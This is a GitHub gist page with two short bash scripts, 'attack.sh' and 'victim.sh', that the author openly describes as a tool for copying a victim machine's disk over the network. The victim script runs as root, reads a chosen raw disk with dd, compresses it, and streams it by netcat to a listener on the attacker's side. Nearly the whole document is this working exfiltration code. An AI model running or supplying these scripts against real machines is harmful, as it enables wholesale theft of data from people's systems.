Skip to content

Instantly share code, notes, and snippets.

@p4p1
Last active Mar 12, 2021
Embed
What would you like to do?
🎠🎠🎠🎠
#!/bin/bash
# attack.sh
# Created on: Fri 12 Mar 2021 04:13:11 AM CET
#
# ____ __ ____ __
# ( _ \ /. |( _ \/ )
# )___/(_ _))___/ )(
# (__) (_)(__) (__)
#
# Description:
# Copy the disk of a machine over a network. This file is for the attacker he will be hosting the server.
# The copy will be gunziped. The file is compressed while sent over the network.
PORT=1234
FILE=machine_copy
echo -e "\e[1;34mListening on:\e[m \e[1;32m$PORT\e[m"
nc -lp $PORT > $FILE.gz
exit 0
#!/bin/bash
# victim.sh
# Created on: Fri 12 Mar 2021 04:13:11 AM CET
#
# ____ __ ____ __
# ( _ \ /. |( _ \/ )
# )___/(_ _))___/ )(
# (__) (_)(__) (__)
#
# Description:
# Copy the disk of a machine over a network. This file is for the attacker he will be hosting the server.
# The copy will be gunziped. The file is compressed while sent over the network.
IP=127.0.0.1
PORT=1234
SPEED=1024k
if [ "$EUID" -ne 0 ]; then
echo -e "\e[1;31mPlease run as root\e[m"
exit -1
fi
echo -e "\e[1;34mSelect disk\e[m"
lsblk
echo -n "$> "
read disk
echo -e "\e[1;34mConnecting to:\e[m \e[1;32m$IP:$PORT\e[m"
ping -c 1 $IP
if [ "$?" -ne 0 ]; then
echo -e "\e[1;31mMachine $IP is not online\e[m"
exit -1
fi
echo -e "\e[1;34mTransfer started\e[m"
dd if=/dev/$disk conv=sync,noerror bs=$SPEED | gzip -c | nc $IP $PORT
exit 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment